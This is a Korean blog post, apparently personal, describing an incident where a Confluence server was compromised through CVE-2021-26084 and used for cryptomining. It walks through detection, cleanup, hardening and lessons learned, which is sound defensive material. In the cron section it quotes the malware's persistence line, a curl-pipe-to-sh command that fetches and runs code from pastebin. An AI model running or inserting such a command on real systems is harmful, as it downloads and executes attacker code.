Confluence 취약점(vulnerability)으로 인한 해킹 인지 및 피해 복구 과정
제가 블로그로 사용하는 기업용 wiki 인 Confluence 에 OGNL(Object-Graph Navigation Language) injection 으로 원격에서 코드를 실행할 수 있는 치명적인 보안 취약점이 발표되었습니다.(참고: CVE-2021-26084)
심각한 취약점이므로 제조사인 Atlassian에서는 메일로 해당 취약점에 대한 여러 번 안내 메일을 보냈지만 제가 미처 확인하지 못했고 이로 인해 Confluence 를 구동하는 리눅스에 암호화폐 채굴기가 설치되었고 이때문에 해당 인스턴스를 폐기하고 데이터를 이관하고 시스템을 복구하는 등 큰 피해를 입었습니다.
이때문에 주말내내 새벽까지 복구를 하는 삽질을 했지만 처리 과정에서 여러가지 배운 점이 있어서 나중을 위해 기록해 봅니다.
교훈
root 권한 최소화
큰 힘에는 큰 책임이 따라야 하는건 당연하지만 큰 힘을 사용할 필요가 있는지부터 확인하는 게 필요한 경우가 많습니다.
리눅스 관리자라면 포트 번호 1024 이후를 사용하는 경우(예: WAS 등) 무조건 사용자 계정으로 구동해야 합니다.
이번에도 보안 취약점때문에 원격지에서 코드가 설치되고 실행되서 큰 피해를 입었지만 DB 와 시스템 파일은 온전했고 쉽게(😂) 복구를 할 수 있었습니다.
만약 confluence 를 root 로 구동했다면 시스템이 통째로 장악되고 회복 불가능한 피해를 입었을 소지가 큽니다.
📧 이메일 키워드 필터 추가
제조사가 여러 번 이메일을 보냈지만 주의깊게 확인하지 못한 제 책임이지만 쏟아지는 이메일 홍수때문에 일일이 확인이 어려운 현실적인 문제가 있습니다.
그렇지만 사람의 집중력과 주의력은 제한된 자원이므로 이메일을 꼼꼼히 확인하는데 신경쓰기 보다는 이런 중요한 알림 메일을 놓치지 않기 위해 "Security advisory" 나 "critical vulnerability" 같은 키워드에 대해 필터를 추가할 계획입니다.
🔒 DMZ 에 위치한 서비스는 최악의 상황을 가정하고 구성
Web Server 나 Email Server 같이 외부에서 누구나 접근할 수 있는 서비스를 구성한 경우 전세계의 해커가 공격할 수 있고 이로 인해 털릴 수 있다고 가정하는 것도 필요합니다.
털려도 된다는 무책임함이 아니라 털릴 수 있다는 가정을 해야 최악의 상황에 대비한 시나리오와 대응이 나올 수 있습니다.
예로 털렸어도 피해를 최소화하기 위해 DMZ 에 위치한 서버에는 중요 자산과 정보를 보유하지 않는다거나 내부망에 접근을 엄격하게 제한하는 등의 보안 대책을 수립할 수 있습니다.
퍼블릭 서비스가 아니면 접근 제어 적용
외부의 임의의 대상에게 공개하는 서비스가 아니라 사용자가 제한되어 있다면 여러 가지 접근 제어를 적용하는 게 좋습니다.
예로 해외에서 접속할 일이 없다면 GeO IP 로 해외 IP 를 차단하거나 특정 IP 만 white list 방식으로 오픈하는 방법이 있습니다.
Log 에 관심 갖기
예전에 개발과 시스템 운영을 같이 할 때는 출근하면 제일 먼저 하는 게 전날 이후 서비스에 이상한게 없는지 로그 파일을 열어 보는 것이었습니다.
그때는 관리하는 서비스와 시스템이 적어서 로그 파일을 보는 게 당연했고 서버별로 연결해서 로그 보는게 가능했지만 지금은 시스템과 데이터가 너무 많은 문제가 있긴 합니다.
하지만 이에 맞게 ELK 나 fluentd 같은 여러 가지 좋은 도구가 있으니 규모가 크다면 이런 도구를 이용해서 로그를 수집하고 이벤트를 모아 볼 수 있는 대시보드 구성이 필요하고 제 블로그처럼 작은 규모라면 직접 연결해서 보는등 로그에 대해 더 관심을 가질 예정입니다.
SELinux 와 Firewall 사용하기
SELinux 같은 강제 접근 통제 방식(MAC) 는 잘못된 설정이나 제로 데이 공격(zero day attack)으로부터 시스템을 보호하기 위한 좋은 보안 도구입니다.
Red Hat 계열의 배포판은 기본적으로 켜져 있지만 어렵고 번거롭다는 이유로 끄고 사용하는 경우가 많은데 보안이 중요한 이 시대에 배울만한 가치가 있습니다.
Firewall 도 기본적이면서 강력한 도구이므로 사용법과 "deny all" 정책을 이해해 두면 도움이 됩니다.
운영 능력 없으면 Cloud 사용하기
규모가 크거나 경쟁이 치열한 산업군의 경우 기밀이 유출될 우려때문에 사내 방화벽내에 Confluence 등 협업 환경을 구성하고 사용하는 경우도 많습니다.
이렇게 특별한 경우가 아니라면 운영과 SLA 를 제조사가 보장해주는 Cloud 를 검토하는 것도 의미가 있습니다.
저는 개인 블로그라 24년까지는 설치형으로 사용할 계획이지만 개인 서버라 down time 이 길어도 사용자에게 미안한 뿐 비즈니스에 영향을 주지는 않지만 업무용이라면 Cloud 전환이 운영 비용과 보안 리스크를 줄일수 있으므로 고려할 필요가 있습니다.
발견 및 조치 과정
블로그에 글을 쓰려는데 응답이 너무 느리거나 Gateway Timeout 에러가 나서 서버에 ssh 로 연결해 보니 서버가 이상하다는 것을 알게 되었습니다.
아래는 제가 서버의 이상 증상을 발견하고 긴급 조치한 과정입니다.
부하 유발 프로세스 확인
서버에 ssh 연결후 prompt 뜨는 시간 및 ls 같은 간단한 명령어도 실행이 오래 걸려서 바로 top 명령으로 CPU 와 Memory 를 많이 사용하는 프로세스를 찾았습니다.
top 결과를 확인해 보니 설치하지도 않은 javac 와 Apache Solr 데몬(solrd)이 CPU 를 대부분 소모하고 있었고 시스템에 문제가 있다는 것을 알게 되었습니다.
이런 악성 SW 들은 보통 헷갈리게 시스템에 있는 명령어로 위장해서 실행된다고 합니다.
정확한 정보를 얻기 위해 lsof 로 PID 를 조회해 보니 javac 가 /tmp/ 에 위치해 있고 .go.sh 라는 악성 스크립트가 이를 실행하고 파일을 찾지 못하도록 삭제한 것을 알게 되었습니다.
$ lsof -p PID
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
javac 3870 rocky cwd DIR 259,2 4096 136268141 /tmp/javac(deletd)
javac 3870 rocky rtd DIR 259,1 240 128 /tmp/.go.sh
같이 보기: lsof 사용법
프로세스 종료
confluence 를 구동한 계정(예: ec2-user)으로 실행한 모든 프로세스를 바로 중지했습니다. 이럴때는 묻지도 따지지도 않고 프로세스를 종료시키는 -9 옵션을 사용합니다.
$ kill -9 $(lsof -t -u ec2-user)
같이 보기: Unix, Linux 에서 kill 명령어로 안전하게 프로세스 종료 시키는 방법
cron 접근 차단
악성 SW 는 계속 실행하기 위해 시스템 어딘가에 실행 파일을 숨겨 놓습니다. 파일을 숨겨 놓아도 누군가는 이를 실행해줘야 하므로 제일 만만한건 cron 입니다.
예상대로 crontab 의 스케줄링을 확인해 보자 다음과 같이 pastebin 에서 악성 코드를 다운 받는 내용이 cron 에 등록되어 있었습니다.
$ crontab -l
curl -fsSL https://pastebin.com/abcd | sh
먼저 해당 계정에 등록된 cron job을 삭제하기 위해 다음 명령으로 편집기를 띄운 후에 등록된 작업을 삭제했습니다.
$ crontab -e -u ec2-user
동일한 악성 코드가 실행되지 못하도록 계정의 cron 사용을 차단합니다.
$ echo "ec2-user" >> /etc/cron.deny
이제 confluence 를 구동한 계정에서 crontab 을 사용하려고 하면 다음 에러가 나면 의도대로 설정한 것입니다.
$ crontab -l
You (ec2-user) are not allowed to use this program (crontab)
See crontab(1) for more information
같이 보기: cron 사용법
해킹 계정 login 차단
해킹당한 계정은 로그인이 불가하도록 쉘을 nologin 으로 변경해 두었습니다.
$ chsh ec2-user -s /sbin/nologin
Web 서버 구동 중지
아직 털린 원인을 몰라서 임시로 웹 서버를 내려놨습니다.
$ systemctl stop nginx
같이 보기: systemd(system daemon) 을 관리하는 systemctl 명령어 사용법
SELinux enforce 모드 설정
사용하던 인스턴스가 Amazon AMI2 라 SELinux 가 기본적으로 꺼져 있었습니다.
그래서 SELinux 를 설치하고 enforce 모드로 동작하도록 설정해 주었습니다.
SELinux 활성화후 mysql 이 구동되지 않았는데 datadir 이 /var/lib/mysql 이 아니라 /opt/mysql 이어서 SELinux 가 차단해서 였고 다음 명령으로 SELinux 에 등록해 주고 정책을 변경해서 정상 동작을 확인했습니다.
$ semanage fcontext -a -t mysqld_db_t "/opt/mysql(/.*)?"
$ restorecon -R /opt/mysql
같이 보기: Amazon Linux AMI 에 SELinux 설치하기
아웃 바운드 접속 차단
pastebin.com 은 이렇게 악성 코드를 배포할 때 사용되는 경우가 많으므로 방화벽에서 차단하기로 했습니다.
AWS 의 방화벽은 OUT Bound 정책에서 특정 IP 로 연결을 차단하는 방법이 없어 보여서 linux 의 firewall 을 이용하기로 했고 다음 정책을 설정했습니다.
$ nslookup pastebin.com
Non-authoritative answer:
Name: pastebin.com
Address: 104.23.99.190
Name: pastebin.com
Address: 104.23.98.190
이제 대상 IP인 104.23.99.190, 104.23.98.190 을 차단하는 정책을 실행하고 활성화합니다.
$ firewall-cmd --permanent --direct --add-rule ipv4 filter OUTPUT 0 -d 104.23.99.190/32 -j DROP
$ firewall-cmd --permanent --direct --add-rule ipv4 filter OUTPUT 0 -d 104.23.98.190/32 -j DROP
$ firewall-cmd --reload
이제 pastebin.com 에 연결해서 timeout 이 떨어지면 의도대로 설정된 것입니다.
$ curl -L https://pastebin.com/
curl: (28) Connection timed out after 60001 milliseconds
혹시 side effect 가 있을지 모르니 다른 곳은 정상 연결되는지도 확인해 봅니다.
$ curl -L https://google.com/
$ curl -L https://naver.com/
Data 백업 및 Instance 이관
아직 정확한 원인을 몰랐고 어느 정도 악성 코드가 전파됐는지 확인이 어려워서 새로 AWS 인스턴스를 생성하고 데이터를 이동하기로 결정했습니다,.
일반적으로 해킹 피해를 입으면 시스템에 root kit 등이 설치되어 있을 수 있으니 데이터만 살리고 OS 를 새로 설치하는 게 낫습니다..
EC2 에 CentOS 8 이 사라져서 Rocky Linux 를 market place 에서 찾아서 설치했고 EBS 를 새로운 인스턴스에 붙이려고 했는데 EBS와 EC2 의 가용 영역이 다른 관계로 붙지가 않아서 데이터 이관때문에 여러 가지 삽질을 좀 했습니다.
그리고 새로운 instance 에 confluence 서비스를 올리고 정상 동작을 확인했는데 다시 악성 코드가 구동된 걸 보고 confluence 에 문제가 있다고 생각했습니다.
구글링해서 보안 취약점이 발표된걸 확인하고 confluence 를 패치된 버전으로 업그레이드해서 문제를 최종 해결했습니다.
이후 조치 사항
공격 IP 차단
이번 취약점을 이용해서 공격한 IP를 확인하려면 로그 파일에서 다음 내용을 검색하면 됩니다. (이전 로그는 자동으로 압축되므로 zgrep 을 사용했습니다.)
$ zgrep createpage-entervariables /var/log/nginx/*
/var/log/nginx/access.log-20210907.gz:13.125.40.66 - - [06/Sep/2021:20:32:59 +0000] "POST /pages/createpage-entervariables.action?SpaceKey=x HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36" "-"
공격한 IP 만 추출하기 위해서 다음 명령으로 필터링해서 uniq 로 모았습니다.
$ zgrep createpage-entervariables /var/log/nginx/*access.log* | awk '{print $1}'| awk -F':' '{print $2}' | uniq
그리고 예전에 만들어 놓은 스크립트를 이용해서 공격한 IP 를 모두 차단했습니다.
## 기본 존 확인
$ firewall-cmd --get-active-zones
dmz
interfaces: eth0
## 차단
$ ./firewallcmd-drop-client.sh -z dmz -i BLOCK_IP1,BLOCK_IP2
같이 보기: linux firewalld 로 특정 IP 차단하기
fail2ban 정책 추가
log 를 살펴 보면 온갖 곳에서 취약점 점검이 들어오고 있습니다.
많이 들어오는 공격중 하나는 phpmysqladmin 설치 여부와 wordpress 설치 여부입니다.
이런 시도를 하는 곳은 linux kernel 방화벽에서 차단하는 게 좋은데 이를 위해서 fail2ban 에 별도의 정책이 있는지 확인해 보고 적용할 예정입니다.
같이 보기: fail2ban 으로 SSH 서버 강화하기